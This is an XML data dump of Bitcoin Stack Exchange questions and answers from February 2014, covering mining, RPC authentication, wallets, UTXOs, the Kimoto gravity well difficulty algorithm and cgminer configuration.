  <row Id="22230" PostTypeId="2" ParentId="22223" CreationDate="2014-02-15T17:31:37.793" Score="5" Body="&lt;p&gt;No. Your premise is wrong. There is no guarantee a solution exists in a range. If a miner exhausts a nonce range he changes other components of the block header. Mining is a Poisson process with each hash attempt independent of any others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, there is nothing to gain with this particular kind of collusion. Of course, pooled miners enjoy less variance than solo miners (which is legitimate), and there are other methods of attack.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-15T17:31:37.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22232" PostTypeId="2" ParentId="21225" CreationDate="2014-02-15T18:12:03.370" Score="2" Body="&lt;p&gt;The input for the coinbase transaction must now contain the block height as the first script data element.  The remainder of the input script can be used however you want, although I believe the total script is limited to 100 bytes.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-15T18:12:03.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22233" PostTypeId="1" CreationDate="2014-02-15T18:14:29.517" Score="2" ViewCount="148" Body="&lt;p&gt;An alternative chain based on Litecoin 0.8.6.1 that I have an interest in is during certain low-difficulty periods showing several blocks that contain empty TXIDs. Digging into the TXIDs return nothing with gettxout, and &quot;No info available&quot; with getrawtransaction. Usually these blocks contain just a single empty TXID, but some blocks can contain normal TXIDs as well as an empty one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the cause of this? What action can create these empty blocks with no apparent transaction or coinbase content in them? Can it be rectified?&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="13512" LastEditDate="2014-02-15T18:35:00.237" LastActivityDate="2014-07-29T17:59:35.413" Title="Alternative chain shows blocks with empty TXIDs - what's going on?" Tags="|transactions|litecoin|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22234" PostTypeId="1" CreationDate="2014-02-15T19:04:58.713" Score="2" ViewCount="1234" Body="&lt;p&gt;I'm trying to connect to a local dogecoin server with jsonRPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dogecoin daemon is launched with the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dogecoin-qt -server -testnet -gen -debug -debugnet -printtoconsole -rpcuser=user -rpcpassword=user&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following Java code is used to connect to the server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using com.googlecode.jsonrpc4j.JsonRpcHttpClient&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            JsonRpcHttpClient client = new JsonRpcHttpClient(new URL(&quot;http://user:user@localhost:22555&quot;));&#xA;&#xA;        String response = &quot;&quot;;&#xA;        client.invoke(&quot;getinfo()&quot;, response);&#xA;        System.out.println(response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just won't accept any credentials at all, I've tried setting them on the conf file, command-line, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server returned HTTP response code: 401 for URL: http://user:user@localhost:22555&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="13514" LastEditorUserId="13514" LastEditDate="2014-02-16T09:01:29.297" LastActivityDate="2014-07-16T13:48:10.640" Title="Bitcoin/Dogecoin Daemon RPC authentication - 401 status error" Tags="|bitcoind|json-rpc|dogecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22235" PostTypeId="2" ParentId="22228" CreationDate="2014-02-15T19:09:11.817" Score="2" Body="&lt;p&gt;&quot;We&quot; are volunteers running Electrum servers. There's almost no trust in them, the absolute worst they can do is feed you false negatives about the balance of your wallet, or they can also choose not to broadcast your transactions and pretend that they have. You trade some privacy in that they can see the contents of your entire wallet and associate it with your IP address. The client supports Tor connections if this is an issue for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is 22Gb now, actually. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-15T19:09:11.817" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22236" PostTypeId="2" ParentId="22227" CreationDate="2014-02-15T19:11:27.780" Score="4" Body="&lt;p&gt;No. It can not under any circumstances be used to steal funds from a Bitcoin-QT wallet.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-15T19:11:27.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22237" PostTypeId="2" ParentId="22216" CreationDate="2014-02-15T19:16:32.547" Score="1" Body="&lt;p&gt;You can't do that. The client only keeps indexes of the balances of addresses you own. There is no ability to query the balance of arbitrary addresses. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-15T19:16:32.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22239" PostTypeId="1" CreationDate="2014-02-15T20:26:55.337" Score="3" ViewCount="12694" Body="&lt;p&gt;I'm almost completely ready to GPU mine but I'm stuck on step #25 of Option #2 of this tutorial:&#xA;&lt;a href=&quot;http://www.reddit.com/r/dogemining/wiki/index/mac_mining_guide&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/dogemining/wiki/index/mac_mining_guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after running this command inside Cudaminer-master:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting a missing file error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha3.cpp:9:20: fatal error: malloc.h: No such file or directory&#xA;compilation terminated.&#xA;make[2]: *** [cudaminer-sha3.o] Error 1&#xA;make[1]: *** [all-recursive] Error 1&#xA;make: *** [all] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe that it has something to do with modifying &quot;scrypt.cpp&quot; for the manual installation of Cudaminer. All tutorials tell you to make sure to include malloc like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;emmintrin.h&amp;gt;&#xA;#include &amp;lt;malloc/malloc.h&amp;gt;&#xA;#include &amp;lt;new&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the make command is still unable to find this malloc.h file, should malloc be edited in scrypt.cpp differently for OS X 10.7.5?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Hackintosh PC is using an Nvidia GeForce 335m&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to run games like BioShock on max settings and get great performance on this hackintosh, so the drivers seem to be doing great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13517" LastActivityDate="2015-08-26T13:42:33.507" Title="Cudaminer On Mac OS X installation error: &quot;malloc.h: No such file or directory&quot;" Tags="|mac|dogecoin|gpu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22240" PostTypeId="2" ParentId="22190" CreationDate="2014-02-15T21:18:26.080" Score="1" Body="&lt;p&gt;That contaracts wiki page may be out-of-date.&#xA;However, the loto example uses &lt;code&gt;rand float&lt;/code&gt; which in the &lt;a href=&quot;https://ripple.com/wiki/Contracts#data_access&quot; rel=&quot;nofollow&quot;&gt;data access&lt;/a&gt; section of the wiki page is described as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;this number is deterministically created based on the hash of the collection of transactions or something&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That implies to me that it's random only in the sense that the contract itself, or any Ripple user, cannot guess what the value will be at run time, but once running all validators will use the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to how some Bitcoin gambling sites work, using numbers based off the Bitcoin blockchain hash.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-02-15T21:18:26.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22241" PostTypeId="1" CreationDate="2014-02-15T22:04:05.410" Score="1" ViewCount="151" Body="&lt;p&gt;The standard bitcoind/bitcoin-qt client lets you ask for the highest known block, via RPC, or get notifications when a new 'best block' is locally acknowledged (via the &lt;code&gt;-blocknotify&lt;/code&gt; option). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, is there any way to tell when more than one equally-high blocks are circulating, and thus it's not yet clear which will win? Or does the standard client remain locked onto only the first block it receives, until it receives a definitively-longer chain? &lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-02-15T22:04:05.410" Title="Can bitcoind/bitcoin-qt (via RPC or command-line-options) be used to discover when two competing best-blocks exist?" Tags="|bitcoind|json-rpc|blockchain-fork|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22242" PostTypeId="2" ParentId="21182" CreationDate="2014-02-15T22:19:04.893" Score="3" Body="&lt;p&gt;The class &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/kits/WalletAppKit.java%20WalletAppKit&quot; rel=&quot;nofollow&quot;&gt;WalletAppKit&lt;/a&gt; is a good start. Here's a snippet of code that dumps the most recent block, you can probably take it from here. It will take a while to download the block chain and then it will print out the most recent transactions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class DumpLastBlock {&#xA;public static void main(String args[]) throws Exception {&#xA;    WalletAppKit kit = new WalletAppKit(MainNetParams.get(), new java.io.File(&quot;.&quot;), &quot;test&quot;);&#xA;    kit.startAndWait();&#xA;    BlockChain chain = kit.chain();&#xA;    BlockStore bs = chain.getBlockStore();&#xA;    Peer peer = kit.peerGroup().getDownloadPeer();&#xA;    Block b = peer.getBlock(bs.getChainHead().getHeader().getHash()).get();&#xA;    System.out.println(b);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-15T22:19:04.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22245" PostTypeId="1" CreationDate="2014-02-16T01:52:01.670" Score="4" ViewCount="601" Body="&lt;p&gt;Say I send 1.0 BTC to a Bitcoin address that is valid but has never been used yet.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does that 1.0 BTC effectively disappear? Or will the transaction fail?&lt;/li&gt;&#xA;&lt;li&gt;If the transaction succeeds, could someone eventually start using that address and claim that 1.0 BTC?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12349" LastActivityDate="2014-02-16T03:31:00.863" Title="What happens if I send a Bitcoin to an address no one owns?" Tags="|sending|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22246" PostTypeId="1" CreationDate="2014-02-16T02:45:59.933" Score="0" ViewCount="41" Body="&lt;p&gt;Is it simply just trying to be faster and better in some aspects than bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="13286" LastActivityDate="2014-02-16T02:45:59.933" Title="What is the reason for other coins appearing like FTC and LTC?" Tags="|litecoin|" AnswerCount="0" CommentCount="2" ClosedDate="2014-02-16T23:13:26.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="22247" PostTypeId="2" ParentId="22245" CreationDate="2014-02-16T03:31:00.863" Score="7" Body="&lt;p&gt;If the address is valid, the transaction will succeed. If nobody knows the private key for that address, the money is lost forever. For all practical purposes, it's impossible to guess the key for an address that you made up.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-16T03:31:00.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22248" PostTypeId="2" ParentId="22194" CreationDate="2014-02-16T08:02:06.727" Score="1" Body="&lt;p&gt;It looks to me like chainsnort is just what you're looking for:&#xA; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=373490.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=373490.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The publicly available version uses Python websockets and connects to blockchain.info to listen to all new transactions in real time. There is also an RPC version to get the same type of data straight from your own bitcoind node, without relying on blockchain.info, but it's still in private beta.&lt;/p&gt;&#xA;" OwnerUserId="13525" LastActivityDate="2014-02-16T08:02:06.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22249" PostTypeId="2" ParentId="22234" CreationDate="2014-02-16T09:01:46.360" Score="1" Body="&lt;p&gt;Ok, it seems that for some reason I didn't read this essential part:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The easiest way to tell Java to use HTTP Basic authentication is to set a default Authenticator:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    final String rpcuser =&quot;...&quot;;&#xA;  final String rpcpassword =&quot;...&quot;;&#xA;&#xA;  Authenticator.setDefault(new Authenticator() {&#xA;      protected PasswordAuthentication getPasswordAuthentication() {&#xA;          return new PasswordAuthentication (rpcuser, rpcpassword.toCharArray());&#xA;      }&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13514" LastActivityDate="2014-02-16T09:01:46.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22250" PostTypeId="1" CreationDate="2014-02-16T09:28:46.090" Score="0" ViewCount="470" Body="&lt;p&gt;For example if mining with Deepbit is there a minimum time one must run cgminer to have anything added to their Deepbit account balance?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="5406" LastEditDate="2017-09-24T03:23:25.310" LastActivityDate="2017-09-24T03:23:25.310" Title="Is there a minimum time to be mining a pool to have any results?" Tags="|cgminer|pool-payout-methods|time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22251" PostTypeId="1" AcceptedAnswerId="22258" CreationDate="2014-02-16T09:38:30.003" Score="0" ViewCount="128" Body="&lt;p&gt;If so:&#xA; would it be useful for anything?&#xA; would it be risky as BTC and NMC are linked.&lt;/p&gt;&#xA;" OwnerUserId="5450" LastActivityDate="2014-03-08T11:57:51.960" Title="Could I store a bitcoin private key value in a Name Coin?" Tags="|namecoin|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22252" PostTypeId="2" ParentId="22251" CreationDate="2014-02-16T09:54:32.620" Score="3" Body="&lt;p&gt;Yes. So that the whole world can see it? Yes seems like a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NameCoin block-chain is public, although you could encrypt it in the NameCoin chain, but why there? If you are scared to lose any privates keys you should work on your back-upping strategies, not uploading it to the public domain in the hope none will realize it is a ECDSA Bitcoin private key.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-02-16T09:54:32.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22253" PostTypeId="2" ParentId="22214" CreationDate="2014-02-16T10:04:26.077" Score="1" Body="&lt;p&gt;You could maybe flip things around. And sell your solarpower as it's generated, to a local grid for payment in bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="5450" LastActivityDate="2014-02-16T10:04:26.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22254" PostTypeId="1" CreationDate="2014-02-16T13:32:51.277" Score="1" ViewCount="257" Body="&lt;p&gt;I was given 1 bitcoin in a paper wallet as a gift.&#xA;How do I now convert this bitcoin to spend it?&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2014-03-18T16:39:54.613" Title="What do I do with a bitcoin I recieved?" Tags="|transactions|network|" AnswerCount="3" CommentCount="0" ClosedDate="2014-03-21T21:46:17.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="22255" PostTypeId="2" ParentId="22254" CreationDate="2014-02-16T13:36:52.230" Score="0" Body="&lt;p&gt;You can buy all kinds of things from &lt;a href=&quot;https://www.bitcoinstore.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinstore.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also buy gift cards using bitcoin at &lt;a href=&quot;http://www.gyft.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gyft.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally if you want to sell your bitcoin for your local currency, you'd need to open an account at a Bitcoin exchange such as &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/&lt;/a&gt; - however this is the solution I like less because they require you to send them some personal information like your ID or bank account information to overcome fraud.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-16T13:36:52.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22256" PostTypeId="2" ParentId="22254" CreationDate="2014-02-16T14:04:13.593" Score="0" Body="&lt;p&gt;You can spend it on wide variety of products on www.overstock.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for other places accepting bitcoin using &lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as already suggested, use an exchange like bitstamp or btc-e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first you would probably want to import your paper wallet to make a transfer. Take a look at &lt;a href=&quot;https://blockchain.info/pl/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pl/wallet/paper-tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13529" LastActivityDate="2014-02-16T14:04:13.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22257" PostTypeId="1" CreationDate="2014-02-16T14:35:39.227" Score="1" ViewCount="20" Body="&lt;p&gt;I want to try using the ARS to buy BTC in Argentina and selling the BTC for RMB in China, so as to ecnomic losses from the traditional way of International remittance.Is the method feasible?I am in China and want to know about some information related to the deal.&lt;/p&gt;&#xA;" OwnerUserId="13526" LastEditorUserId="13526" LastEditDate="2014-02-16T14:48:28.687" LastActivityDate="2014-02-16T14:48:28.687" Title="There are Argentina's friends?I want to buy BTC with Pesos" Tags="|argentina|" AnswerCount="0" CommentCount="1" ClosedDate="2014-02-16T22:45:08.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="22258" PostTypeId="2" ParentId="22251" CreationDate="2014-02-16T15:32:27.230" Score="0" Body="&lt;p&gt;Yes, but risk will unquestionably be higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could encrypt it with a hashed passphrase of about two hundred length for English, keep the hash to yourself, and unlock it by hashing your passphrase whenever you need it to unlock the encrypted key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is redundant for coins that allow one to hash passphrases into keys.  That would be the preferred method: use a passhrase to key system then the private key is never stored anywhere except in memory, yours and the logged client.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-02-16T15:57:44.273" LastActivityDate="2014-02-16T15:57:44.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22259" PostTypeId="1" AcceptedAnswerId="22274" CreationDate="2014-02-16T15:35:24.180" Score="2" ViewCount="168" Body="&lt;p&gt;Have instances of theft due to cold boot attacks been recorded?  If so, is this a common problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, are miners installing memory encryption software like Trezor?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2016-04-24T09:16:44.027" LastActivityDate="2016-04-24T09:16:44.027" Title="History of cold boot attacks on Proof-of-Stake miners" Tags="|security|mining-hardware|history|proof-of-stake|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22260" PostTypeId="2" ParentId="9411" CreationDate="2014-02-16T15:38:10.700" Score="2" Body="&lt;p&gt;One way an exchange could prove that it is liquid is to move all the funds from one address to another, and publish the transactionID.  This would be visible in the block chain.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-16T15:38:10.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22261" PostTypeId="2" ParentId="22254" CreationDate="2014-02-16T16:27:47.027" Score="0" Body="&lt;p&gt;There's a nice video here that shows how to pull the BTC from the paper wallet to a Mycelium Android wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=1pDSzOiFgIk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=1pDSzOiFgIk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you only pull out what you need to spend at the appropriate time, or follow the instructions in Mycelium to backup the wallet, just in case you lose your phone you don't want to lose 1 BTC with it.&lt;/p&gt;&#xA;" OwnerUserId="11209" LastActivityDate="2014-02-16T16:27:47.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22263" PostTypeId="1" AcceptedAnswerId="22264" CreationDate="2014-02-16T16:47:27.300" Score="0" ViewCount="214" Body="&lt;p&gt;If balances are calculated on the fly by offsetting all the transactions flowing in and out of a public address, will this degrade the performance of calculating such balances in years to come, i.e. when large volumes of transaction history have accumulated? How many transactions would result in a noticeable drop in performance? or is the threshold so high that it's not likely ever to be reached by the vast majority?&lt;/p&gt;&#xA;" OwnerUserId="11209" LastActivityDate="2014-02-17T09:04:27.853" Title="Will the performance of calculating the balance for an address degrade over time?" Tags="|transactions|wallet|blockchain|balance|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22264" PostTypeId="2" ParentId="22263" CreationDate="2014-02-16T17:04:57.160" Score="2" Body="&lt;p&gt;The balance is calculated from something called UTXO, this is a list of unspent coins, it is created on blockchain rescans and updated on receiving of new blocks. It is therefore not dependent on transaction history size but only all current available coins fragmentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are performance issues with this solution also, but they are been worked on...&lt;/p&gt;&#xA;" OwnerUserId="13537" LastActivityDate="2014-02-16T17:04:57.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22265" PostTypeId="2" ParentId="21730" CreationDate="2014-02-16T17:19:26.367" Score="22" Body="&lt;p&gt;The explanations on the web are all very vague and mystical, on purpose maybe. Here is my take in simple words, just reading the megacoin source code from the above comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to have a more adaptive way of adjusting the difficulty instead of just averaging the last 2016 blocks like bitcoin. This is needed because of multipools which might switch the coin they are mining, and a sudden change in hashrate  can occur (both increasing or decreasing). Especially when a multipool switches away you get stuck too long with a too high difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algo loops backwards through the blocks, starting from the current one. The &lt;code&gt;PastBlocksMass&lt;/code&gt; is just the number of blocks, so it starts at one and increases in each loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each loop an adjustment factor is computed, which is the target block time divided by the actual block time, in a cumulative fashion, so at loop 10 we would have the 25 minutes target time divided by the time it actually took to compute the last ten blocks. When the hashrate increases, we get shorter times and an adjustment factor greater than one and vice versa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop ends whenever the average adjustment factor is larger than the &lt;code&gt;kimoto-value&lt;/code&gt;, or smaller than &lt;code&gt;1/kimoto-value&lt;/code&gt;. To understand this look at this python script and an example plot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pylab import *&#xA;&#xA;one_day = 1440 / 2.5   # how many 2.5 min blocks per day&#xA;&#xA;nmin = one_day / 4     # PastBlocksMin&#xA;nmax = one_day * 7     # PastBlocksMax&#xA;x = arange(nmin, nmax)   # PastBlocksMass&#xA;&#xA;# start with 2.5 minute blocktime + some noise&#xA;t0 = 2.5 + randn(nmax) / 4&#xA;t1 = 2.5 + randn(nmax) / 4&#xA;&#xA;# t0 has 20% more hashrate, so shorter blocktime in the beginning&#xA;t0[:one_day] = 2.5 / 1.2 + randn(one_day) / 4&#xA;# t1 has higher blocktime in the beginning&#xA;t1[:one_day] = 2.5 / 0.9 + randn(one_day) / 4&#xA;&#xA;s = arange(nmax)&#xA;&#xA;adjust0 = (arange(1, nmax + 1) * 2.5 ) / cumsum(t0)&#xA;adjust1 = (arange(1, nmax + 1) * 2.5 ) / cumsum(t1)&#xA;&#xA;# the magic function&#xA;def kimoto(x):&#xA;    return  1 + (0.7084 * pow((double(x)/double(144)), -1.228));&#xA;&#xA;plot(x/one_day, kimoto(x))&#xA;plot(x/one_day, 1/kimoto(x))&#xA;plot(s/one_day, adjust0)&#xA;plot(s/one_day, adjust1)&#xA;legend([&quot;kimoto&quot;,&quot;1/kimoto&quot;, &quot;20% increase in hashrate&quot;, &quot;10% drop in hashrate&quot;])&#xA;xlabel(&quot;days&quot;)&#xA;ylabel(&quot;adjustment factor (target/actual blocktime)&quot;)&#xA;show()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script produces a figure like this &lt;img src=&quot;https://i.stack.imgur.com/I5HHI.png&quot; alt=&quot;Kimoto gravity well&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows two constructed examples when the hashrate increases and when it drops for one day. Best is to play with different settings for a while to get a feel for what is going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see that the lines cross through the Kimoto formula at some point. This is when the algo exits and uses this adjustment factor to compute a new target/difficulty. For large adjustment factors this happens earlier than for the ones closer to one. This is to have a quick adaptation if the hashrate changes a lot, and a slower one if not - then we want a longer period to get a better average. The parameters of the Kimoto formula are adjusted in such a way that one roughly adjusts in one day to a 10% change and in seven days to a 1.2% change. A minimum of 144 blocks determine the new difficulty and at most 4032 (0.25 days or 7 days for a 2.5 minute blocktime).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: the Kimoto gravity well algo has a fancy name and determines the number of blocks which contribute to the evaluation of the new difficulty. It gives fewer blocks for high hashrate changes and is therefore more adaptive. &lt;/p&gt;&#xA;" OwnerUserId="13533" LastEditorUserId="13533" LastEditDate="2014-02-16T20:34:53.530" LastActivityDate="2014-02-16T20:34:53.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22266" PostTypeId="1" CreationDate="2014-02-16T17:24:02.537" Score="3" ViewCount="185" Body="&lt;p&gt;The Bitcoin protocol currently uses uint32_t to record timestamps. While the year 2106 is still a long way off, I'm wondering why not just go with int64_t and be done with it?&lt;/p&gt;&#xA;" OwnerUserId="13539" LastActivityDate="2014-02-16T17:52:53.760" Title="How will Bitcoin deal with the year 2106 problem?" Tags="|transactions|blockchain|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-19T14:40:22.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="22268" PostTypeId="2" ParentId="21969" CreationDate="2014-02-16T17:52:58.980" Score="3" Body="&lt;p&gt;Yes, the failover setting will tell cgminer to mine on a secondary pool when the first pool is unavailable. &#xA;Run cgminer with the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer.exe --scrypt -o &lt;a href=&quot;http://p2pool.org:9327&quot; rel=&quot;nofollow&quot;&gt;http://p2pool.org:9327&lt;/a&gt; -u username -p password&#xA;  --failover-only -o &lt;a href=&quot;http://backuppool.org&quot; rel=&quot;nofollow&quot;&gt;http://backuppool.org&lt;/a&gt; -u username -p password&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This example mines LTC  at p2pool and will mine at another pool of your choice when p2pool is unavailable.&lt;/p&gt;&#xA;" OwnerUserId="13542" LastEditorUserId="5406" LastEditDate="2014-02-16T18:30:51.627" LastActivityDate="2014-02-16T18:30:51.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22269" PostTypeId="1" CreationDate="2014-02-16T18:20:37.480" Score="2" ViewCount="413" Body="&lt;p&gt;Deterministic keys are based on the sha256 hashing function.  As described in the link below deterministic keys use the same hashing function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Deterministic_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for an FPGA to be repurposed to quickly find the hashes for poorly chosen keys?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-16T20:33:37.260" Title="Can an FPGA for mining be used to crack deterministic keys?" Tags="|fpga|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22270" PostTypeId="5" CreationDate="2014-02-16T20:13:11.067" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-16T20:13:11.067" LastActivityDate="2014-02-16T20:13:11.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22271" PostTypeId="4" CreationDate="2014-02-16T20:13:11.067" Score="0" Body="Unspent Transaction Outputs (UTXOs) are created by transactions and allow the owner of an associated address to spend a specific amount." OwnerUserId="5406" LastEditorUserId="63872" LastEditDate="2019-09-09T09:30:31.923" LastActivityDate="2019-09-09T09:30:31.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
